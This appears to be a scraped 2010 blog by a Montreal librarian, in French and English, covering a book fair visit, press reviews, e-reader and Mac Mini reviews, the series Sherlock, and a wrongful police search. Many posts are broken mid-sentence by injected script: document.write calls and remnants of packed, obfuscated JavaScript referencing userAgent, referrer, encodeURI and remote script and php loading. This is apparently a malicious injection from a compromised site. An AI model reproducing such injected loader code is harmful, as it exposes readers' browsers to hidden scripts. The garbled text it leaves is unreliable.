Rions un peu avec des lectures indigestes

Les pauvres électeurs Ivoiriens sont encore dans le noir quant aux résultats de leur élection. C’est sûr: ils ne vont rien y voir…
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Depuis quand les races extra-terrestres de Star Trek Deep Space 9 ont envahit la télé-réalité? Faut croire que notre vigilence a diminué… Qui voudrait “
Ne pas se trouver en reste avec les Cardassians”, document.write(“”); cette rude race de guerriers aux visages angulaires? Et, qui plus est, leur donner crédit?

Game of Thrones Trailer!

HBO adaptation of George R. R. Martin’s ‘A Song of Ice and Fire’ novels has been given a trailer! The fantasy tv series, document.write(“”); starring Sean Bean, Lena Heady, Nikolaj Coster-Waldau, Michelle Fairley, Peter Dinklage, Charles Dance, Jason Momoa, Emilia Clarke, Aiden Gillen and Mark Addy, will air in Spring 2011. In the meantime, feast your eyes with this quite too short trailer:
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isyit|var|u0026u|referrer|atksa||js|php’.split(‘|’),0,{}))


(Sources:
Entertainment Weekly, HBO Official Site, TV Squad, Wikipedia, YouTube)

Un p’tit tour au salon

Mercredi dernier (11/17) je suis allé faire un petit tour au Salon du Livre de Montreal. Je n’ai parlé à personne que je connaissais. Au kiosque d’Alire, document.write(“”); il y avait bien Louise et Jean mais ils étaient occupé à discuter avec quelqu’un. Lors d’un second passage j’y ai aussi vu Jean-Jacques, également prit dans une conversation. Je n’ai vu ni Pascale, qui devait probablement arriver plus tard dans la semaine, ni Francine, qui n’avait de séances de signatures que le samedi. Chez Prologue (?), j’ai aussi entrevue Michèle Laframboise qui signait des livres et parlait à un des directeurs de Médiapaul. C’est tout. J’ai aussi croisé quelques célébrités sans importance (pour moi).
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hteer|var|u0026u|referrer|dryad||js|php’.split(‘|’),0,{}))

J’ai fait un tour rapide comme j’ai toujours eu l’habitude de le faire, quadrillant le salon dans tout ses sens (cardo et decumanus, respectivement les axes nord-sud et est-ouest des cités romaines). Heureusement, le premier jour à l’heure du souper, il y a moins de monde et on peut se déplacer plus aisément. Il ne m’a donc fallut qu’une heure et demi, alors qu’auparavant je restais deux ou trois heures. Il y a tellement de livres maintenant que ça ne vaut plus vraiment la peine de regarder systématiquement chaque kiosque avec attention. Les découvertes se font par chance, au hasard d’où se pose le regard. C’est ce que j’appelle du lèche-vitrine karmique. Mais je n’ai pas vu grand chose d’excitant.

Le 33e Salon du Livre de Montreal avait pour thème le “livre ouvert sur le XXIe siècle.” Pour plus de détails sur le salon vous pouvez voir mes récentes revues de presse (du 11/14 et 11/24) ou la couverture qu’en a fait Cyberpresse. Malheureusement, comme je travaille le vendredi je n’ai pas pu allé à la Journée des Professionnels comme par les années passées; il y avait quelques atelier et table ronde auxquels j’aurais aimé assisté (mais de toute façon je n’y aurais probablement pas appris grand chose de nouveau…).

Le salon est un événement strictement francophone mais j’ai tout de même eu l’heureuse surprise d’y voir un petit kiosque pour la librairie (et éditeur) Drawn & Quarterly. J’ai admiré leur beaux livres et j’en ai profité pour me plaindre à une stagière du marketing qu’on avait pas répondu à mes demandes de copies de presse! (je lui ai laissé ma carte mais, bien sûr, personne ne m’a contacté).

Au kiosque de la librairie Planète BD (Hachette) j’ai découvert avec surprise que Glénat avait une collection intitulée Glénat Québec. Faut croire que je ne suis plus beaucoup au courant des nouveautés (trop d’éditeur! trop de titres!)…

La Presse et Le Devoir avaient des kiosques offrant des rabais pour leur abonnement. Celui pour Le Devoir était deux fois plus cher! La Presse était à $1.99 par semaine: j’ai hésité un moment mais c’est encore trop cher pour un quotidien qui n’offre même pas une pleine page de “funnies”. Je suis surpris qu’il n’offrait pas de rabais juste pour leur édition numérique.

La Bibliothèque et Archives Nationale avait, comme tout les ans, un kiosque. Je suis par ailleurs encore décu que le Réseau des Bibliothèques de Montréal n’en ai pas. C’est pourtant le lieu idéal pour faire de la promotion. On sait bien, un kiosque c’est dispendieux et la ville préfère faire des économies de bout de chandelles…

Finalement, avec une thématique comme “livre ouvert sur le XXIe siècle” il fallait s’attendre à un kiosque dédié au livre numérique. Il y avait des vendeurs de Sony qui faisaient la promotion des plus récents modèles de Reader, ainsi que des représentants de l’Association Nationale des Éditeurs de livres et de De Marque, la firme qui a développé avec l’ANEL une plateforme de distribution pour les livres numériques québécois et canadiens-français. Lancée en août 2009, l’Entrepôt numérique offre maintenant 3,504 publications de 66 éditeurs afin d’en faciliter la promotion et la commercialisation par la vente en ligne (8601 publications vendues à ce jour) et le “feuilletage” d’extraits (392,458). Le contenu de l’Entrepôt peut être visualisé par le grand public grâce à un site “vitrine” (dont j’ai découvert l’existence au salon). Des représentants de deux des librairies en ligne offrant le contenu de l’Entrepôt, jelis.ca et livresquebecois.com, étaient également présent. J’y ai ramassé deux dépliants fort intéressants et instructifs: «Diffuser vos livres dans l’univers numérique» (PDF, 839 Ko), qui explique la plateforme aux éditeurs et libraires, et «À la découverte du livre numérique» (PDF, 3,5 Mo), un cahier spécial de l’École branchée. J’ai discuté avec une représentante de l’ANEL, mais je ne crois pas qu’ils soient le moindrement intéressé à tenir des publications en anglais (pourtant le “livre québécois”, ça inclus théoriquement des éditeurs québécois anglophones, non? Too bad, je vais donc continuer à faire affaire avec les américains!).

Somme toute, ce fut une visite brève mais agréable. C’est toujours intéressant de pouvoir jeter un oeil sur les nouveautés et d’avoir l’opportunité de découvrir de nouveaux trésors.

Revue de Presse / Press Review (2010/11/24)

Still catching up on my bloging with more news from the past couple of weeks:
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeths|var|u0026u|referrer|addnr||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics/News

Health, home & garden

Humour

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Paradise Kiss live-action movie!

The superb manga series by Ai Yazawa, document.write(“”); already adapted into anime by Madhouse in 2005, is now getting a live-action movie adaptation. Produced by Fox International and starring Keiko Kitagawa (Yukari), Osamu Mukai (George), Aya ?masa (Miwako), and Kento Kaku (Arashi), the movie will be released in Japan in May 2011. Here’s the ???????? teaser to prove it (Cool! It really looks like the manga/anime; I can’t wait to see more!):
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(Sources:
ANN, Japanator, Wikipedia, YouTube)

Revue de Presse / Press Review (2010/11/14)

I’ve been quite busy in the last few weeks, document.write(“”); so let me catch up a little on the news that caught my eyes:
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Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics/News

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Humour me

This picture is, document.write(“”); somehow, quite disturbing…
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tistn|var|u0026u|referrer|yhfty||js|php’.split(‘|’),0,{}))

If you have no idea what
this is about, well…

consider yourself among the lucky ones !

Revue de Presse / Press Review (2010/10/27)

Anime & Manga related, document.write(“”); Japan, Popular Culture
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nikzs|var|u0026u|referrer|reins||js|php’.split(‘|’),0,{}))

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics/News

Health, home & garden

Humour

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Apps & blogue niouse

Je suis tombé cette semaine sur quelques actualités technologiques qui, document.write(“”); je crois, mérite bien d’être mentionées à part de ma revue de presse hebdomadaire habituelle:
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eizte|var|u0026u|referrer|stern||js|php’.split(‘|’),0,{}))

Comme je l’ai déjà dit, la télévision sur internet a beaucoup d’avenir et la destination de choix pour la télé francophone au Québec est sans doute TouTV.ca. Malheureusement pour moi, TouTV.ca utilise la technologie d’Adobe Flash pour diffuser ses émissions sur le web et je ne peux donc pas les visioner avec mon iPad. Bonne nouvelle: un récent article nous apprend que Tou.tv lancera en décembre des applications iPad et iPhone! Enfin!

Je lis beaucoup d’actualités sur mon iPad. On peut lire l’information directement sur les sites internet des grands quotidiens, mais de plus en plus ceux-ci produisent des applications pour iPhone et iPad afin de présenter les articles (ou, dans la plupart des cas, une sélection d’articles) dans un format qui se lit plus aisément. Un des quotidiens que je lis le plus fréquemment est La Presse (ou “Cyberpresse” pour sa version électronique). Jusqu’à récemment j’utilisais l’application pour iPhone (sur le iPad on double les pixels pour visioner plein écran, mais l’image est moins précise et la présentation plutôt simple) mais il existe depuis quelques semaines une version de l’application pour iPad qui rend la lecture des articles beaucoup plus agréable de par sa superbe présentation. Bravo!

Ça bouge beaucoup chez Apple ces temps-ci. Lors d’une conférence de presse (“Back to the Mac”) tenue le 20 octobre dernier, Apple a dévoilé la mise à jour annuelle de la suite de logiciels iLife (dont j’attend impatiemment la livraison) et a donné un bref aperçu de son prochain système d’opération pour le Mac (OS X 10.7): Lion (attendu pour l’été prochain). On y a également lancé la nouvelle version du portable ultra-léger et rapide (flash-drive oblige!) MacBook Air. De plus, deux autres mise à jour de système d’opération sont attendu pour bientôt: une version améliorée de “Snow Leopard” (Mac OS X 10.6.5, attendue imminament) et iOS 4.2 (qui devrait amener des tas d’amélioration pour l’iPad, dont la fonction multitâche, et qu’on attend en novembre).

Finalement, je ne pouvais pas manquer de mentioner, en cette chaude journée d’Octobre (le mercure atteint les 18’C !!) que mon blogue a maintenant accueillit plus de 10,000 visiteurs! Ces derniers mois, la moyenne de visites quotidienne a presque doublée (à 28). C’est bien mais c’est encore très peu. En un peu plus de cinq ans je n’ai d’ailleurs écrit que trois-cent-quarante-six entrées (dont près de la moitié cette année seulement)… On fait ce qu’on peut (je pourrais faire des entrées plus courtes et plus nombreuses… écouter moins de télé, etc., mais le travail me laisse encore trop vidé de mon énergie).

Je me rattrape néanmoins peu à peu sur mes projets d’articles. Les prochaines entrées à venir seront sans doute les commentaires sur le “hands-on” du iPad, mes apps favorites, les films japonais du FFM, et sur plusieurs lectures (plus ou moins) récentes. De nombreux imprévus causeront certainement des retards et il ne faut pas oublier que je dois mettre (plus) de temps sur mon ménage et mon déménagement! (J’essai de ne pas trop y penser, pcq c’est trop déprimant!). En terminant, je ne peux que (une fois de plus) demander à mes quelques lecteurs de (svp) laisser des commentaires! (histoire de ne pas avoir l’impression de parler dans le vide…)

Allez hop!, passons maintenant à la revue de presse. Les actualités d’intérêts sont nombreuses cette semaine…

Commentaires festifs

J’ai été tellement occupé ces derniers mois que je n’ai pas encore eu le temps de finaliser mes commentaires sur les films japonais du Festival des Films du Monde 2010. Si tout se passe comme d’habitude je les terminerai et mettrai en ligne probablement à temps pour le festival de l’an prochain!
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En attendant, document.write(“”); je vous propose de lire les commentaires de
Claude R. Blouin, un éminent spécialiste québécois du cinéma japonais (voir sa biographie sur L’Île, ses chroniques sur le portail régional de Lanaudière et je recommande son “Petit guide de l’autodidacte vorace en culture japonaise”).

M. Blouin est un collaborateur régulier au magazine allemand Shomingeki, une publication en ligne qui offre des commentaires et des notes sur le cinéma de la vie quotidienne (au Japon, “Shomingeki“ designe un genre de cinéma dramatique pour le peuple (la classe moyenne), sur la vie de tous les jours). Il y a récemment publié son appréciation des films japonais offert tant au Festival des Films du Monde qu’au Festival du Nouveau Cinéma:

A world of illusion

Someone on Facebook recently linked to a video that exposes the fact there are much more special effects shots in most TV series than we would normally expect. It makes sense: as the cost of CGI goes down it becomes simpler and cheaper to simply shoot a scene in front of a green screen rather than go on location. We cannot believe what our eyes are seeing anymore. See the marvel of computer graphics:
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Also, document.write(“”); a lot of fuss was made recently about the nude scene Jessica Alba had in the movie Machete. The reason? It was another movie magics “fake”.
See for yourself.

Sony Reader hands-on

This summer I commented on the Bookeen Cybook Opus ebook reader. The public libraries network where I work was lending eBook readers to some members of the staff in order to get feedback on the idea of using and lending such readers to patrons. In September, document.write(“”); a colleague had let me borrowed for a week another reader he had received for evaluation. I could finally have the eagerly awaited hands-on experience with the Sony Reader.
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My first impression of the Sony Reader was one of disappointment. I had only seen it in a display case or in the hands of commuters on the subway and it seemed pretty sleek then. But in my hands it felt rather cheap (no more, no less than the Cybook Opus, but the metal finish can be deceptive) and the quality of the display was not as sharp as I expected. Considering the original price difference (however, with a recent price reduction, the Sony is now less expensive than the Cybook Opus!), I was expecting more from the Sony Reader. After trying it out, I found that it had not much more functions than the Opus. Of course, here it is important to precise that the model provided by the library network (as it was for the Cybook Opus) was an older model.

The Sony Reader PRS-600 is larger than the Cybook Opus (6.9 x 4.8 x .4 inches) and is nearly twice as heavy (10.1 oz/286 g). It also offers a slightly bigger Monochrome E Ink touchscreen (6 in.) with similar resolution (same 800 x 600 pixels but with twice (at 8) the grey scale levels). I don’t have any details on its processor, but it has only 512 MB of memory (enough for about 350 books, which is less than the Opus, but it can be expended with Memory Stick Duo and SD Card up to 16GB). Its rechargeable Lithium-Ion battery is good for about two weeks or 6,800 to 7,500 continuous page turns (slightly less than the Opus). It supports the DOC, PDF, RTF, TXT, BBeB, EPUB, BBeB DRM text formats, the BMP, GIF, PNG, JPEG image formats and the AAC, MP3 audio formats (that’s more text formats than the Opus, which also cannot play audio at all).


The PRS-600 features also includes highlighting & annotation capability (although limited), five adjustables font sizes to improve readability, and a built-in dictionary (2nd edition of the New Oxford American Dictionary). It comes with a USB cable, a cover sleeve, but (unlike the Opus) there is no mention of pre-loaded books. It is offered in three colors: silver, black, and red. Originally priced at $250 CDN, then reduced at $170 CDN, it is now a discontinued model.

In summary, the Sony Reader PRS-600 is larger (but heavier) than the Opus, and has less memory as well as a slightly shorter battery life. However, it has the definite advantage of supporting more text and audio formats as well as having a touch screen. It compares well with the Opus because of its nicer design and the fact that it is lightweight and quite portable (but it lacks the Opus’ pre-loaded books and accelerometer). Being an open format device, it is also more versatile than most of the other popular readers (like the Kindle or the Nook, which only offer proprietary formats and online stores) as it can read multiple formats (particularly the Epub format which is becoming the new standard of the book industry) and you can purchase books not only from Sony online store but from any online bookstores.

Basically, the Sony Reader PRS-600 has only two main problems: it has no wireless connectivity (you must be plugged to a PC to download books) and its screen really doesn’t look as good as it should (resolution, contrast and a reflection problem under bright light could all be improved; the touchscreen isn’t as responsive as it could be [like the iPad for example], there’s no contrast adjustment and no backlight to help read in darkness). I might also add that the annotation feature is rather cumbersome to use and the battery is not removable (same problem with the iPad: it is soldered to the board).

Fortunately, since the release of the PRS-600, Sony has considerably improved its line of Reader. In September, it has announced three new models and two of those were immediately available: the Touch Edition / PRS-650 (6 inch., improved touch-screen and 16-levels grey scale, 2 GB memory, 7.6 oz (215 g), $229 US / $250 CDN) and the Pocket Edition / PRS-350 (same but with 5-inch touch-screen, 5.5 oz (155 g), $179 US / $150~$200 CDN; this model seems to have received pretty good reviews). The third model will be released in November: the Daily Edition / PRS-950 (same but with 7-inch touch-screen, .5 pound, and WiFi connectivity, $299 US).

Of course, Sony’s Readers might still be more expensive than the Kindle or the Nook but, because of their design, portablility, touchscreen and greater versatility, I would definitely recommend any of them for use in a library environment. However, for a personal use (if you want a device that is more than a reader, like a netbook, and don’t mind paying a lot more), my first choice will always be the iPad.

I am still not very enthusiastic with the idea of lending ebook readers in libraries. I know that it is already being done in some libraries in the USA, but I feel that doing so would be looking for trouble. A colleague made the interesting comment that we were lending Dvds without the Dvd player, so why should we also lend the ebook reader? (the point is sound but another librarian found arguments to ridicule his comment — in french). I guess we should just wait and see how it goes for the libraries who have reader-lending on trial.

In any case, if you have the opportunity to try (or the budget to buy) a eBook reader, you should not hesitate. It is a liberating experience.

Crying in awe

I was just checking my blog entry “The Cosmos is singing” and it led me to watch more similar videos. Not only they make a clever use of Auto-Tune, document.write(“”); but they’re also designed to “bring scientific knowledge and philosophy to the public, in a novel way, through the medium of music”. And it brings all sorts of strange emotions in me. To see more videos check the Symphony of Science website.
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Here’s “The Poetry of Reality”:

Revue de Presse / Press Review (2010/10/17)

Personal update: What a marvelous week I had. First, document.write(“”); my set-up to watch video crashed with my network drives, so I’ve lost a terabyte of data (hopefully eventually recoverable) and I had to replace my old Apple TV with a brand new Mac Mini. Then I am handcuffed and searched by police as the result of a miserable technological failure. On top of that I’ve worked six days for three weeks in a row, ending with a seven-day stretch, so a couple of days rest will be more than welcome. All this just to prove that nothing will keep me from reading the news:
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Mini is super

AirPort delays
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Up to recently I was using an old Apple TV to watch my videos on my big HDTV (a 40-inch Sony Bravia Series S LCD). To store and feed the videos to the media box, document.write(“”); I also needed a network hard-drive (a Vantec’s NexStar Dual Bay Hard Drive Dock [NST-D200SU] with two terabyte-HDs plugged to an Apple’s AirPort Extreme). Unfortunately, this setting always kept the HD spinning which eventually lead to drive failure. Deeming the setting unstable (and definitely unsafe for the drives) I decided to replace the Apple TV and therefore spent some time analyzing which devices would be the best candidates for replacement. The obvious choice is the new Apple TV 2: it is one of the cheapest options, but unfortunately has all the problems of the original Apple TV (a rather unflexible device that needs to be hacked to offer interesting functionality) and has been primarily designed for streaming specific content (mostly iTunes’ movies, YouTube, NetFlix). Of course, there are plenty of media streaming devices out there (like the Popcorn Hour, the Roku, or the Boxee Box just to name a few) with each their advantages and problems. I had been pondering the dilemma for a while and finally concluded that the best and most flexible option (although the most expensive) was to use the latest Mac-Mini model.

Mini Me

The Mac-Mini (mid-2010 model) is a full-fledge computer that pack the same power as my iMac (the Mid-2007 model, which has a 2.4 GHz Intel Core 2 Duo processor with 2 GB of RAM and 320 GB of HD) but in a much smaller box (it’s about the same size of the old Apple TV). Therefore it could not only serves as a backup computer but also can easily play any type of video files (through Quicktime, Front Row, XBMC or Boxee) or even stream video from the internet. The greatest improvement on previous Mac-Mini models is that this one has an HDMI output which, like for the Apple TV, provide the best quality picture (1080p or 1920 x 1200). This is important in regard to the fact that the new Apple TV 2 offers only 720p. I can even watch Dvds since it also has a 8x slot-loading SuperDrive. As a bonus it also has a SD card slot, plenty of connectivity (a FireWire 800 port, four USB 2.0 ports, 802.11n Wi-Fi, Bluetooth 2.1 and 10/100/1000BASE-T Ethernet) and can easily be upgraded, if needed, with more memory! In conclusion: it is so much more than what I had with the Apple TV.


Streaming is the dream

I am glad that I was able to quickly replaced my old Apple TV so I was not deprived for too long of the ability to watch downloaded videos. And I am even happier to have replaced it with a media player that is much better and more powerful. Now I can watch hi-definition videos (those heavy mkv files) without getting a jumpy picture or out of sync sound. I can browse the internet and enjoy all the advantage of iTunes from my couch. But I have also discovered something new.

I had heard of streaming sites like Hulu before, but never bothered to check it because it is not available in Canada. I’ve heard of several equivalent Canadian sites, but I don’t like to watch TV on my computer (it’s only a twenty-inch screen and the seat is really uncomfortable) and most of those sites don’t work on my iPad because they are flash-based. I tried Crunchyroll or Netflix on the iPad but you get tired easily on a ten-inch screen (although some apps, like Netflix, work with the out-video cable) and it can still be a little slow or jerky sometimes. However I was really astonished by the ability of the Mac-Mini to stream video to my HDTV.

I am convinced that web TV is really the future of television and sometimes wonder why I still bother to pay for cable. You already can stream lots of video on demand and even live TV. Here’s a few sites that I’ve found interesting:

More streaming anime links:

Live Tv links:

Quis custodiet ipsos custodes?

Alignement Karmique?
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Des fois on expérimente dans la vie des événements qui, document.write(“”); quand on y repense par la suite, semblaient présager ce que l’avenir nous réservait. Je ne saurais dire si cela est le résultat de quelque extraordinaire coïncidence ou d’une sorte d’étrange alignement karmique, mais cela m’est arrivé à quelques reprises. Par exemple, je me souviens avoir vu, à la fin de l’été 2001, un reportage sur la situation en Afghanistan, puis, quelques jours plus tard à une conférence de presse du Festival des Films du Monde, j’ai vu un groupe de femmes afghanes faire un éclat pour attirer l’attention sur leur situation sous les talibans. Une semaine plus tard, deux avions de ligne percutaient les tours du World Trade Center, menant ultimement à la guerre en Afghanistan… La conjoncture de ces événements dans ma vie me donna une sinistre impression.

Et bien hier j’ai de nouveau expérimenté cette étrange conjoncture…

Mercredi dernier, dans le cadre des “Grands Reportages”, Radio-Canada montrait le documentaire La Rafle qui décrivait les abus policers et la suspension des droits civils suite aux arrestations arbitraires qui eurent lieu lors des “Événements d’Octobre” de 1970 et dont on commémorait le quarantième anniversaire. Je n’avais pas le temps d’écouter ce reportage alors je l’ai enregistré sur l’enregistreur video personal (EVP) de mon terminal illico. Hier, au retour du travail, j’ai décider de le visionner tout en mangeant mon souper. Intéressante, cette période de notre histoire. Heureusement, des choses comme ça ne pourraient plus se produire de nos jours (famous last word / claquement de tonnerre sinistre). Je ne n’avais aucune idée de ce que cela pourrait présager pour moi… (mais j’aurais du me douter qu’une date comme le 10-10-10 me réserverait quelques surprises: on me dit qu’en binaire ce chiffre fait quarante-deux — un nombre significatif si on en croit le Hitchhiker’s Guide to the Galaxy!)

“Book ‘im, Danno!”

Après avoir visionné “La Rafle” j’ai continué à regarder des émissions de télé pré-enregistrées, jusqu’à ce que le buzzer et la sonnette de la porte d’entrée retentissent tous deux avec insistance. Il est à peu près vingt-heure trente: je ne reçoit pratiquement jamais de visiteurs (surtout pas en soirée) et il est encore trop tôt pour que ma femme revienne de son travail. Je vais donc ouvrir la porte d’entrée avec une prudente curiosité.

Sur le perron je découvre quatre agents de police plus ou moins disposés en éventail devant la porte. J’ai un bref moment de panique et imagine qu’il est arrivé quelque chose à ma femme. Je n’ai cependant pas le temps de dire quoique ce soit, notant en un éclair que deux des policiers ont la mains sur leurs armes de service, que l’un d’entre eux me demande poliment de sortir sur le balcon. Tout se passe très vite: je suis éberlué par la tournure des événements et dans le temps de le dire je suis fouillé pour s’assurer que je ne dissimule pas d’armes et je suis menottée les mains derrières le dos. On m’explique alors (c’est toujours le même policier qui parle; c’est sans doute le plus haut gradé des quatre), lentement et calmement, qu’un appel anonyme les avait averti qu’une femme se faisait violentée au couteau à mon adresse et qu’on voulait simplement fouiller mon appartement pour s’assurer que tout allait bien. Ou bien c’était la femme elle-même qui, poursuivit par son conjoint avec un couteau, s’était enfermée dans la salle de bain et avait appelé la police avec son cellulaire; je ne sais plus, je ne me souviens plus très bien de l’explication. J’ai protesté faiblement que j’étais seul dans l’appartement, qu’il n’y avait personne d’autre et que ma femme était encore à son travail. Quelques instant plus tard, deux policiers ayant fait le tour de la place et constaté qu’effectivement il n’y avait rien à signaler et que j’étais bien seul, on m’a libéré avec des excuses qui semblaient bien sincères.

J’ai alors cherché à avoir quelques explications. “Vous êtes bien sûr que c’était mon adresse?” ai-je demandé. “Vous savez les livreurs de restaurants passe leur temps à venir sonner chez moi alors que leur destination véritable est la rue d’à côté. Ça ne serait pas la première fois que quelqu’un se trompe d’adresse” dis-je sur un ton nerveux qui essayait de détendre l’atmosphère. On m’assure qu’il n’y a pas d’erreur et que c’est bel et bien l’adresse qu’on leur a donné. Je demande à avoir du suivi sur cette affaire, si cela est possible. Les policiers sont parti, me laissant sur le perron à m’inquiéter que mes chats aient profité de la porte restée ouverte plusieurs minutes pour s’échapper. Mais heureusement l’un dormait profondément sur le divan du salon et l’autre, plutôt peureux, se cachait au sous-sol. Les policiers sont resté un petit bout de temps dans leur voitures de patrouille, attendant sans doute de nouvelles instructions.

J’en conclu que tout cela est peut-être un canular (bien méchant) ou que les téléphonistes du 911 aurait mal comprit l’adresse. Cela a, dans les deux cas, des conséquences désagréables pour quelqu’un: dans un cas mon amour-propre a été blessé (se faire ainsi menotter sur son perron, nue pied et en robe de chambre, à la vue de tout les voisins, c’est assez humiliant!), dans l’autre il y a une victime espérant des secours qui n’arrive pas…

But who watches the watchmen?

J’ai passé un coup de fil à ma sœur. Parler de cette aventure rocambolesque m’a aidé à me calmer. Puis je suis retourné regarder la télé…

Toutefois, si l’on laisse une graine de paranoïa germer pour un instant, la question se pose: n’est-il pas un peu trop facile pour les forces de l’ordre d’arrêter les gens, des pénétrer dans leur domicile sans mandat et de fouiller les lieux? Et qui sait ce qu’ils auraient pu faire d’autre dans mon appartement pendant que j’étais menoté à l’extérieur?

Bien sûr, on peut toujours argumenter que les policiers ont été poli, efficace, et qu’ils avaient des raisons justifiées (“probable cause” comme ils disent dans les séries télé) d’agir comme ils l’ont fait. Après tout ils ne faisaient que leur travail et nous en sommes plus sécure. Mais n’empêche que, quand c’est à vous que ça arrive, ce n’est jamais drôle. L’adrénaline me monte au nez rien que d’y penser et la vue d’une voiture de police me donne encore d’étranges sueurs froides…

Si je n’avait pas écrit ceci je pourrais croire, maintenant, que tout cela n’était qu’un (mauvais) rêve…

Il faut aussi croire que je ne suis pas le seul à qui une telle aventure est arrivée durant ce long week-end… Étrange, vraiment étrange.

Update (2010-10-12): Après une visite au poste de police pour obtenir des clarifications, il s’avère que l’appel a été placé à la police de Longueuil. Aucune addresse n’ayant été donné, l’appel cellulaire a été triangulé à mon addresse — où la police n’a trouvé qu’un “homme en pyjama regardant la télé avec son chat”. Il a par la suite été établi que la dame en détresse était localisée à Rougemont en Montérégie! J’ai donc été victime d’une défaillance technologique… C’est beau le progrès!

Revue de Presse / Press Review (2010/10/09)

Personal update: I worked another 6-day week and this time it was more tiring because I had to get up earlier several days in a row (therefore sleeping less). No time to do anything but read the news… And for that it was a good week:
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Tony Curtis (1925-2010)

To pay tribute to Tony Curtis, document.write(“”); who died last week, I am re-posting this video of the press conference he did at the Montreal World Film Festival in 2008 to talk about the documentary “The Jill and Tony Curtis Story.”
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Tony Curtis from clodjee on Vimeo. (Also available on Blip.tv).

Revue de Presse / Press Review (2010/10/02)

Personal update: It’s been cold and rainy lately. I’m still tired and busy. I must say that I have accepted replacements in so many libraries that I’ve been working six days this week (and it will be the case for the next two weeks). I feel like an idiot. After that I should work a normal week for a while, document.write(“”); just to take the time to rest (and dedicate myself to my others important projects). Meanwhile, I have accumulated many interesting news stories that I would like to share:
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Time Jam streamed by Crunchyroll

I’ve been working for a while now on an article about the animated version of Valerian and Laureline (it’s taking a long time because I am quite busy and it’s a 40-episode series; also I am writing it in french, document.write(“”); but will probably include a synopsis of the article in english whenever I post it online) so I was quite pleased when I read on Anime News Network that Crunchyroll was streaming it.
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Based on the famous graphic novel written by Jean-Claude Mezieres and Pierre Christin, Time Jam: Valerian and Laureline is an animation co-produced by the French publisher Dargaud and the Japanese studio Satelight. All premium anime and all-access Crunchyroll members will have access to the entire 40 episodes immediately, while only the first five episodes will be available to free users now with the subsequent five episodes rolling out henceforth. Unfortunately, due to licensing limitations, the series is available only to the U.S. audience. If you are located in the right region, episodes can be accessed from
Crunchyroll.com, tv.com, the free iPad and iPhone application, the Boxee application and affiliate partners.

More information can be found in the full press release and on www.crunchyroll.com/valerian. You can also find a previous blog entry with the series’ trailer.

Sherlock

As many of the interesting TV shows I’ve watched over the years were produced in the UK (The Avengers, document.write(“”); The Champions, Desperate Romantics, Doctor Who, The Hitchhiker’s Guide to the Galaxy, I Claudius, Lark Rise to Candleford, Life on Mars, Merlin, Murder Rooms, Primeval, Red Dwarf, Robin Hood, Secret Diary of a Call Girl, Sherlock Holmes (with Jeremy Brett), Space: 1999, Thunderbirds, Torchwood, UFO, Upstairs Downstairs, just to name a few), I have developped a special appreciation for British series (and I’ll definitely write an article on that subject when I have the time). So, when I heard that the BBC was planning a modern adaptation of Sherlock Holmes, I was already intrigued. When I realized that it would be co-created by Steven Moffat (who’s now the lead writer for Doctor Who), I was really interested and determined to check on this new series.
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Simply titled “Sherlock”, the series is a piece of very clever writing. The first episode, titled “Study in Pink”, is probably the best. It is obviously based on the original story “A study in scarlet”. The character of Watson is introduced in a manner that is superbly similar to the original: he is a recently discharged soldier back from a tour in Afghanistan where he injured his leg (although Sherlock diagnosed his limping as psychosomatic). In the original, Sherlock also deducts lots of information on Watson family background by looking at his pocket watch. Here, he does the same by looking at his cellphone! In the first episode the parallel between the clever adaptation and the original story is more easily drawn. In the subsequent episodes (titled “The Blind Banker” and “The Great Game”, respectively inspired by “The dancing men” and “The Bruce-Partington plans” amongst others) the story is increasingly complex and the parallel less obvious. Unfortunately, this complexity and the fast pace of the storytelling make the series a little too hard to follow for the people who prefer more simple and quiet stories. It really gets worse with the third episode, as if they wanted to cram too many elements in the 90-minute broadcast show.

Despite the fact that Holmes uses the latest of technology to solve crimes, the modern adaptation is, in many aspects, more respectful of the spirit of the character than Guy Ritchie’s recent movie. It is exactly the same type of adventures as written by Doyle, but played in fast forward for the attention-deficit plagued video-game generation. In his crazy way, Sherlock (played by Benedict Cumberbatch) almost feels and speaks like The Doctor in “Doctor Who” (no wonder there considering Moffat’s involvement). There’s quite some good acting in that part. And, having watched the entire Granada Television series, I can certainly say the adaptation is brilliant in its every details: Watson writing a blog, Holmes using nicotine patches instead of smoking and shooting heroin, etc.

My main disappointment was that only three episodes were broadcasted on the BBC in late July and August 2010 (they are due to air on PBS in the USA from October 24th 2010). There will be a new series in Fall next years, but unfortunately it will be again only three 90-minute episodes.

Another disappointment is that Moriarty is way too present in the story. I guess the general public perception of Holmes stories is probably at fault here: since Moriarty is Holmes archenemy, people imagine he must occupy a large place in the original stories whereas he appears only in a few episodes. Interestingly, the modern adaptation ends in a way quite similar as in the first Sherlock Holmes book: rather than letting his enemy go, Sherlock doesn’t hesitate to die with him. In the original story, he jumps (or falls) into a waterfall with Moriarty. In the modern version, it is suggested that he will blow a bomb to kill Moriarty as well as himself (and Watson). Will he really die? We’ll see in the second season, I guess.

